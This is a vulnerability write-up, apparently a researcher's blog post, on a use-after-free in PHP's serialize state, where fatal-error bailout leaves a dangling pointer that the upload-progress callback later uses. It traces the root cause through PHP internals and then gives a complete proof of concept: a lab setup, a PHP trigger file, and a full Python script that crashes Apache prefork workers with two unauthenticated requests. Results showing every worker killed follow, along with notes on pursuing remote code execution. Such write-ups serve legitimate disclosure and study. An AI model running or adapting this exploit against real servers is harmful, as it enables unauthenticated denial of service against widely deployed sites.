PHP2Shell (CVE-2026-109618, CVE-2026-109619): PHP Use-After-Free From zend_bailout() to a 100% Reliable PoC

What’s this?

A deep dive into a use-after-free vulnerability in PHP’s serialization subsystem. We’ll trace the bug from its root cause in zend_bailout()‘s longjmp-based error handling, through the Zend Memory Manager’s arena recycling, all the way to a 100% reliable denial-of-service against Apache mod_php prefork workers.

Tested on PHP 8.3.20, Apache 2.4.62, WordPress 6.7.

Cyber Scam (Grumble)

I feel like this vulnerability is getting completely blown out of proportion. Even before the patch dropped, we saw a flood of threat intel and publications hyping it up like it’s the next Log4j.

Sure, theoretically it can lead to RCE, but from my own analysis, it’s not nearly that straightforward. I’ve managed to trigger a DoS with 100% success, but pulling off an RCE in practice is genuinely difficult.

That said, I did see that RCE demo video on X from October 20—it looks pretty promising, and I’d really appreciate it if someone could share the exploit so I can dive in and learn from it (assuming, of course, that the video wasn’t generated by Sora or Seedance 😅).

On a serious note, a quick shoutout to the security research community: please don’t overhype a vulnerability’s impact unless you’re 100% certain it deserves that level of panic and you can actually back up your claims. Otherwise, it just wastes public resources and delays things that actually matter—like my sleep.


PHP Module Lifecycle 101

Every PHP extension goes through a fixed set of lifecycle callbacks. If you’ve written a PHP extension, you’ve filled out this struct:

1
2
3
4
5
6
7
8
zend_module_entry my_module_entry = {
...
PHP_MINIT(my_module), /* Module Init */
PHP_MSHUTDOWN(my_module), /* Module Shutdown */
PHP_RINIT(my_module), /* Request Init */
PHP_RSHUTDOWN(my_module), /* Request Shutdown */
...
};

Here’s how they relate to each other in the Apache prefork model, where a single worker process handles many requests sequentially:


graph LR
MINIT(["MINIT\n(once, process start)"])
MSHUTDOWN(["MSHUTDOWN\n(once, process end)"])

subgraph req1["Request 1"]
    R1_RINIT["RINIT"] --> R1_SCRIPT["PHP Script"] --> R1_RSHUTDOWN["RSHUTDOWN"]
end

subgraph req2["Request 2"]
    R2_RINIT["RINIT"] --> R2_SCRIPT["PHP Script"] --> R2_RSHUTDOWN["RSHUTDOWN"]
end

subgraph reqN["Request N"]
    RN_RINIT["RINIT"] --> RN_SCRIPT["PHP Script"] --> RN_RSHUTDOWN["RSHUTDOWN"]
end

MINIT --> req1 --> req2 -.-> reqN --> MSHUTDOWN

style MINIT fill:#4a9eff,color:#fff
style MSHUTDOWN fill:#ff6b6b,color:#fff
style R1_RINIT fill:#51cf66,color:#fff
style R1_RSHUTDOWN fill:#ffa94d,color:#fff
style R2_RINIT fill:#51cf66,color:#fff
style R2_RSHUTDOWN fill:#ffa94d,color:#fff
style RN_RINIT fill:#51cf66,color:#fff
style RN_RSHUTDOWN fill:#ffa94d,color:#fff

  • MINIT (Module Init) — runs once when the module is loaded. Sets up persistent resources, registers classes, hooks global callbacks. Survives across all requests.
  • RINIT (Request Init) — runs at the start of every request. Resets per-request state in module globals. This is where ext/standard (the “basic” module) does memset(&BG(serialize), 0, sizeof(BG(serialize))).
  • RSHUTDOWN (Request Shutdown) — runs at the end of every request. Cleans up per-request resources. Critically: ext/standard‘s RSHUTDOWN does not reset BG(serialize).
  • MSHUTDOWN (Module Shutdown) — runs once when the module is unloaded.

Module globals (accessed via the BG() macro for ext/standard) are allocated once at MINIT and persist for the entire process lifetime. They are not freed between requests. Only the RINIT callback resets them.

This becomes important.

The Request Startup Sequence

When Apache hands a new HTTP request to a PHP worker, php_request_startup() in main/main.c runs the following sequence:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int php_request_startup(void)
{
// ...
zend_try {
// ...
zend_activate(); // (1) Create new ZMM heap
sapi_activate(); // (2) Initialize SAPI layer
// ...
php_hash_environment(); // (3) Parse GET/POST/Cookie, multipart
zend_activate_modules(); // (4) Run all RINIT callbacks
PG(modules_activated) = 1; // (5) Mark modules as active
}
// ...
}

The order matters:

Step Function What it does
1 zend_activate() Creates a fresh Zend Memory Manager (ZMM) heap for this request
2 sapi_activate() Initializes the web server interface, reads headers
3 php_hash_environment() Parses POST body, multipart uploads, cookies. Upload-progress callbacks fire here
4 zend_activate_modules() Runs every extension’s RINIT. This is where BG(serialize) gets zeroed
5 PG(modules_activated) = 1 The PHP script starts executing after this

Step 3 happens before step 4. That’s the entire vulnerability.

BG(serialize) — The Serialization Context

When you call serialize() in PHP, the engine needs to track circular references and object identity across the serialization pass. It stores this tracking state in a per-module-global structure:

1
2
3
4
5
6
7
/* ext/standard/basic_functions.h */
typedef struct {
struct php_serialize_data *data; // Pointer to the serialize context
unsigned int level; // Nesting depth
} php_serialize_data_state;

/* Accessed via BG(serialize) — lives in basic_globals */

The serialize context (php_serialize_data) contains a HashTable used for reference tracking. When serialize() is called, php_var_serialize_init() manages this context:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* ext/standard/var.c — simplified */
static void php_var_serialize_init(php_serialize_data_t *var_hash)
{
if (BG(serialize_lock) || !BG(serialize).level) {
/* Normal path: allocate a fresh context */
d = emalloc(sizeof(struct php_serialize_data));
zend_hash_init(&d->ht, 16, NULL, NULL, 0);
d->n = 0;
BG(serialize).data = d;
BG(serialize).level = 1;
} else {
/* Reuse path: level > 0 means we're in a nested serialize */
d = BG(serialize).data; // ← reuse existing pointer
++BG(serialize).level;
}
}

The reuse path is designed for nested serialization — when a __sleep() or __serialize() method calls serialize() again during an outer serialize() call. In that case, level > 0 is legitimate and data points to a valid, live context.

But what if level > 0 for a different reason?

zend_bailout() — PHP’s Nuclear Option

PHP’s error handling for fatal errors (OOM, timeouts, etc.) uses zend_bailout(), which is a wrapper around C’s longjmp():

1
#define zend_bailout()  longjmp(*EG(bailout), FAILURE)

longjmp() unwinds the C call stack to the nearest setjmp() point, skipping all intermediate function returns. No destructors run. No finally blocks execute. No cleanup code after the longjmp() point is reached.

When serialize() is processing a large data structure and hits memory_limit:

1
2
3
4
5
6
7
8
9
10
serialize($huge_array);
// Inside the engine:
// php_var_serialize_init() → BG(serialize).level = 1, .data = p
// php_var_serialize_intern() → iterating array...
// smart_str_appendl() → needs more buffer
// emalloc() → ZMM checks memory_limit
// zend_error(E_ERROR) → zend_bailout()
// longjmp() ──────────────────────────────► catch point
//
// php_var_serialize_destroy() → NEVER REACHED

php_var_serialize_destroy() (the macro PHP_VAR_SERIALIZE_DESTROY) is the function that would have done:

1
2
3
4
BG(serialize).level--;
if (!BG(serialize).level) {
/* free the context and reset data to NULL */
}

It never runs. BG(serialize) is left with level = 1 and data pointing to a php_serialize_data struct that was allocated from the request’s ZMM heap.

The Bug

Now let’s trace what happens across two requests on the same Apache prefork worker.

Request A: OOM during serialize()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
php_request_startup()
→ zend_activate() Create ZMM heap H1
→ php_hash_environment() Parse input
→ zend_activate_modules() RINIT → BG(serialize) = {level=0, data=NULL}

// PHP script runs
serialize($big_array)
→ php_var_serialize_init() BG(serialize) = {level=1, data=0xffff94872040}
→ php_var_serialize_intern()
→ emalloc() → OOM!
→ zend_bailout() longjmp — php_var_serialize_destroy() SKIPPED
BG(serialize) still = {level=1, data=0xffff94872040}

// Bailout lands in php_request_startup's zend_try/zend_catch

php_request_shutdown()
→ RSHUTDOWN callbacks ext/standard's RSHUTDOWN does NOT touch BG(serialize)
→ zend_deactivate() DESTROYS ZMM heap H1
0xffff94872040 is now FREED MEMORY
→ post_deactivate BG(serialize) = {level=1, data=0xffff94872040} ← DANGLING

At this point, BG(serialize).data is a dangling pointer. The memory it points to was part of ZMM heap H1, which has been destroyed.

Request B: Upload-progress triggers UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php_request_startup()
→ zend_activate() Create ZMM heap H2 (may reuse H1's pages)
→ sapi_activate()

→ php_hash_environment() ← THIS IS WHERE IT HAPPENS
→ rfc1867 multipart parser
→ upload-progress callback
→ php_session_encode()
→ php_var_serialize()
→ php_var_serialize_init()
BG(serialize_lock) == 0
BG(serialize).level == 1 ← STALE from Request A!
→ takes the ELSE branch
→ d = BG(serialize).data ← 0xffff94872040, FREED MEMORY
→ uses d->ht (HashTable) ← UAF!

→ zend_activate_modules() RINIT resets BG(serialize) — TOO LATE

Here’s the full picture:


sequenceDiagram
participant A as Request A (OOM)
participant BG as BG(serialize)
participant H as ZMM Heap
participant B as Request B (upload)

Note over A: serialize($big_array)
A->>BG: level=1, data=p

Note over A: OOM! zend_bailout() longjmp skips serialize_destroy

rect rgb(120, 40, 40)
    Note over BG: level=1, data=p (NOT reset by RSHUTDOWN!)
end

A->>H: RSHUTDOWN / zend_deactivate()
Note over H: free(p)

Note over A: Request A done

rect rgb(120, 40, 40)
    Note over BG: level=1, data=p — p is now DANGLING
end

Note over H: zend_activate() — new heap H2 reuses same pages

rect rgb(40, 40, 100)
    Note over H: ZMM chunk bookkeeping now lives at addr p
end

B->>BG: php_hash_environment() upload-progress fires

rect rgb(120, 40, 40)
    Note over BG: level=1 lock=0 — reuses data=p
    BG-->>H: deref p — reads ZMM metadata as HashTable
    Note over H: arData = garbage — SIGSEGV
end

Note over B: CRASH

Note over BG: zend_activate_modules() RINIT resets state — TOO LATE

The critical detail: php_hash_environment() (step 3) runs before zend_activate_modules() (step 4) in php_request_startup(). The upload-progress callback fires during step 3. The RINIT that would have cleaned BG(serialize) runs during step 4.

The Trigger: Upload-Progress Callback

PHP has a built-in feature called session upload progress. When a multipart POST contains a field named PHP_SESSION_UPLOAD_PROGRESS and the request includes a PHPSESSID cookie, PHP’s RFC 1867 multipart parser calls php_session_rfc1867_callback() during php_hash_environment().

This callback:

  1. Opens (or creates) a session
  2. Writes upload progress data to it
  3. Calls php_session_encode() → php_var_serialize() to serialize the session data

This is the code path that hits the stale BG(serialize) context.

session.upload_progress.enabled is On by default in PHP. No special configuration needed. No pre-existing session needed — PHP creates one on the fly. The attacker just needs to:

  1. Send a PHPSESSID cookie (any value)
  2. Include a PHP_SESSION_UPLOAD_PROGRESS form field in the multipart body
  3. Include a file upload field

That’s it. No authentication required. Any PHP endpoint that accepts POST works.

Why It Crashes 100% of the Time

This is the part I didn’t expect. The first time I reproduced this, I assumed ZMM’s arena recycling would leave the freed address pointing at zero-filled memory, making the UAF silently benign. I was wrong.

ZMM Chunk Recycling

PHP’s Zend Memory Manager allocates memory in 2MB chunks. When a request ends:

1
2
3
4
5
6
7
/* zend_alloc.c — zend_mm_shutdown() */
if (full) {
/* munmap everything */
} else {
/* Keep the main chunk, reinitialize it for the next request */
/* Cached extra chunks: freed or kept based on rolling average */
}

In the Apache prefork model, zend_mm_shutdown() is called with full = false. The main chunk is not munmap‘d. It’s reinitialized for the next request. And zend_mm_init() — which sets up the new heap inside this recycled chunk — does not memset the chunk. It only writes specific bookkeeping fields:

  • chunk->heap pointer
  • chunk->next / chunk->prev linked-list pointers
  • chunk->free_pages, chunk->free_tail, chunk->num
  • chunk->free_map[] — page allocation bitmask
  • chunk->map[] — page type descriptors

Where the Stale Pointer Lands

The stale BG(serialize).data pointer (e.g., 0xffff94872040) points to an offset within the old main chunk. After zend_mm_init() reinitializes the same chunk for the new request, that offset now contains ZMM bookkeeping data — free_map entries, map entries, heap metadata.

This data is always non-zero. When php_var_serialize_init() interprets it as a php_serialize_data struct:

1
2
3
4
5
6
7
8
9
10
11
Stale pointer → offset 0x2040 in the recycled ZMM chunk

Memory at 0xffff94872040:
01 00 00 00 07 00 00 00 08 00 00 00 fe ff ff ff
58 9d 2a 96 ff ff 00 00 00 00 00 00 00 00 00 00
10 00 00 00 ...

Interpreted as php_serialize_data → HashTable:
arData = 0xfffffffe00000008 ← garbage pointer (kernel space!)
nNumUsed = 2,519,375,192 ← garbage
nTableSize = 0

arData = 0xfffffffe00000008 is an unmapped address. Any dereference is a guaranteed segfault. Or, if the code tries to iterate nNumUsed = 2.5 billion entries, it loops until max_execution_time kills the process.

The stale pointer lands in the same chunk bookkeeping region every time because:

  1. serialize() allocates php_serialize_data early in the request — from the main chunk’s first usable pages
  2. The offset within the chunk is deterministic (same code path, same allocation order)
  3. After shutdown + reinit, the same chunk is reused without zeroing
  4. The bookkeeping data at that offset is always non-zero

It’s not probabilistic. It’s structural.

Instrumentation Evidence

We built a custom PHP extension (serialize_probe) to log BG(serialize) state at each lifecycle phase. Here’s the output for one attack cycle:

1
2
3
4
5
6
7
8
                          Request A (OOM)                   Request B (upload-progress)
┌────────────────────────┐ ┌────────────────────────────┐

[06:36:41] pid=6223 RINIT: level=0 data=(nil)
[06:36:41] pid=6223 RSHUTDOWN: level=1 data=0xffff94872040 ← DIRTY after bailout
[06:36:41] pid=6223 POST_DEACT: level=1 data=0xffff94872040 ← still dirty, heap freed
(no RINIT — worker died
during php_hash_environment)

No RINIT for Request B. The worker never made it past php_hash_environment().

Proof of Concept

Full PoC code, lab setup, and pcap available on GitHub: al4n4n/php2shell

The full attack requires only 2 HTTP requests on one keep-alive TCP connection:

1
2
3
4
5
6
7
Request 1: GET /any-php-endpoint.php              ← triggers OOM during serialize()
Request 2: POST /any-php-endpoint.php ← multipart with upload-progress
Cookie: PHPSESSID=anything
Content-Type: multipart/form-data
+ PHP_SESSION_UPLOAD_PROGRESS field
+ file upload
→ worker crash

Setup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# docker-compose.yml
services:
wordpress:
image: wordpress:6.7-php8.3-apache
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wp
WORDPRESS_DB_PASSWORD: wp
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_data:/var/www/html
- ./php-config/php.ini:/usr/local/etc/php/conf.d/custom.ini
- ./poc:/var/www/html/poc
depends_on:
db:
condition: service_healthy

db:
image: mariadb:10.11
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: wordpress
MYSQL_USER: wp
MYSQL_PASSWORD: wp
volumes:
- db_data:/var/lib/mysql
healthcheck:
test: ["CMD", "mariadb-admin", "ping", "-h", "localhost", "-u", "root", "-proot"]
interval: 3s
timeout: 5s
retries: 10

volumes:
wp_data:
db_data:
1
2
3
4
5
6
7
8
9
10
11
; php-config/php.ini
memory_limit = 16M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = 0
max_execution_time = 5
session.save_handler = files
session.save_path = /tmp

The only non-default setting that matters is memory_limit = 16M (PHP default is 128M). This controls how large the serialized data needs to be to trigger OOM. At 128M, you need a ~100MB data structure; at 16M, ~5MB is enough.

session.upload_progress.enabled = On is the PHP default. No configuration change needed for the trigger.

Server-Side PHP

trigger_serialize_bailout.php — Triggers OOM during serialize():

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(E_ALL);
$arr = [];
for ($i = 0; $i < 5000; $i++) {
$arr["k$i"] = str_repeat(chr(65 + ($i % 26)), 1024);
}
echo "pid: " . getmypid() . "\n";
echo "array built, starting serialize...\n";
flush();
$result = serialize($arr);
echo "serialize completed\n";

target.php — Target for the upload-progress POST (any PHP file works):

1
2
<?php
echo "ok\n";

Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/env python3
"""
PoC: PHP BG(serialize) Use-After-Free → DoS

2 requests per worker kill:
1. GET trigger_serialize_bailout.php — OOM mid-serialize → dirty BG(serialize)
2. POST target.php — multipart with PHP_SESSION_UPLOAD_PROGRESS → crash
"""

import socket
import sys
import time
import random
import string

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
NUM_ROUNDS = int(sys.argv[3]) if len(sys.argv) > 3 else 5


def recv_http(sock, timeout=10):
sock.settimeout(timeout)
data = b""
try:
while b"\r\n\r\n" not in data:
chunk = sock.recv(4096)
if not chunk:
return data
data += chunk
except (socket.timeout, ConnectionError, OSError):
return data
header_end = data.index(b"\r\n\r\n") + 4
headers = data[:header_end].decode("latin-1", errors="replace").lower()
body = data[header_end:]
for line in headers.split("\r\n"):
if line.startswith("content-length:"):
cl = int(line.split(":", 1)[1].strip())
while len(body) < cl:
try:
chunk = sock.recv(4096)
if not chunk:
break
body += chunk
except (socket.timeout, ConnectionError, OSError):
break
return data[:header_end] + body
if "transfer-encoding: chunked" in headers:
end = time.time() + timeout
while b"0\r\n\r\n" not in body:
if time.time() > end:
break
try:
chunk = sock.recv(4096)
if not chunk:
break
body += chunk
except (socket.timeout, ConnectionError, OSError):
break
return data[:header_end] + body
return data


def http_get(sock, path):
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode()
sock.sendall(req)
return recv_http(sock)


def send_upload_progress_post(sock, session_id):
boundary = "----Boundary" + "".join(
random.choices(string.ascii_letters + string.digits, k=16)
)
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; '
f'name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
f"\r\n"
f"dos_test\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; '
f'name="file"; filename="x.bin"\r\n'
f"Content-Type: application/octet-stream\r\n"
f"\r\n"
).encode()
file_data = b"X" * 32768
end_boundary = f"\r\n--{boundary}--\r\n".encode()
total = len(body) + len(file_data) + len(end_boundary)
headers = (
f"POST /poc/target.php HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Connection: keep-alive\r\n"
f"Cookie: PHPSESSID={session_id}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {total}\r\n"
f"\r\n"
).encode()
sock.sendall(headers + body + file_data + end_boundary)
return recv_http(sock, timeout=12)


def kill_worker():
session_id = "dos" + "".join(random.choices("0123456789abcdef", k=29))
pid = None
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect((HOST, PORT))

# 1) OOM during serialize()
resp = http_get(sock, "/poc/trigger_serialize_bailout.php")
if resp and b"\r\n\r\n" in resp:
body = resp.decode("latin-1", errors="replace").split("\r\n\r\n", 1)[1]
for line in body.strip().split("\n"):
if "pid:" in line.lower():
pid = line.split(":")[-1].strip()

# 2) Upload-progress POST (must be immediate next request)
resp = send_upload_progress_post(sock, session_id)
sock.close()

if not resp or len(resp) == 0:
return pid, True
if b"500" in resp[:50] or b"502" in resp[:50]:
return pid, True
return pid, False

except (ConnectionError, OSError, socket.timeout):
return pid, True


def main():
print(f"Target: {HOST}:{PORT} | Rounds: {NUM_ROUNDS}")
print()

killed = 0
for i in range(NUM_ROUNDS):
pid, dead = kill_worker()
status = "KILLED" if dead else "survived"
print(f" [{i+1}/{NUM_ROUNDS}] Worker PID {pid}: {status}")
if dead:
killed += 1
time.sleep(0.5)

print()
print(f"Result: {killed}/{NUM_ROUNDS} workers killed "
f"({killed * 100 // NUM_ROUNDS}%)")


if __name__ == "__main__":
main()

Result

1
2
3
4
5
6
7
8
9
10
$ python3 poc.py
Target: 127.0.0.1:8080 | Rounds: 5

[1/5] Worker PID 6246: KILLED
[2/5] Worker PID 6247: KILLED
[3/5] Worker PID 6248: KILLED
[4/5] Worker PID 6249: KILLED
[5/5] Worker PID 6257: KILLED

Result: 5/5 workers killed (100%)

A packet capture of the attack is included: exploit.pcap

Impact

Denial of Service. An unauthenticated attacker can kill Apache prefork workers one by one with 2 HTTP requests each. By repeating across connections, the attacker exhausts the worker pool faster than Apache can respawn them.

Conditions:

  • Apache mod_php with prefork MPM (the classic LAMP stack)
  • session.upload_progress.enabled = On (PHP default)
  • An endpoint that triggers serialize() on data large enough to OOM. With memory_limit = 16M, a 5MB array suffices; at 128M, a ~100MB data structure is needed

Remote Code Execution?

  • Workers are fork()ed from the parent — address space layout (ASLR slide, PHP binary base, libc) is identical across all requests to the same worker
  • Maybe attacker can probe the worker on request A (trigger the OOM), then exploit on request B over the same connection (Connection: keep-alive) to guarantee the same PID
  • **The main challenge is heap grooming: predicting exactly where the old php_serialize_data lands relative to request B’s allocations on the new heap. Or try ‘a few’ more times? **

All source code, lab setup, and packet captures: github.com/al4n4n/php2shell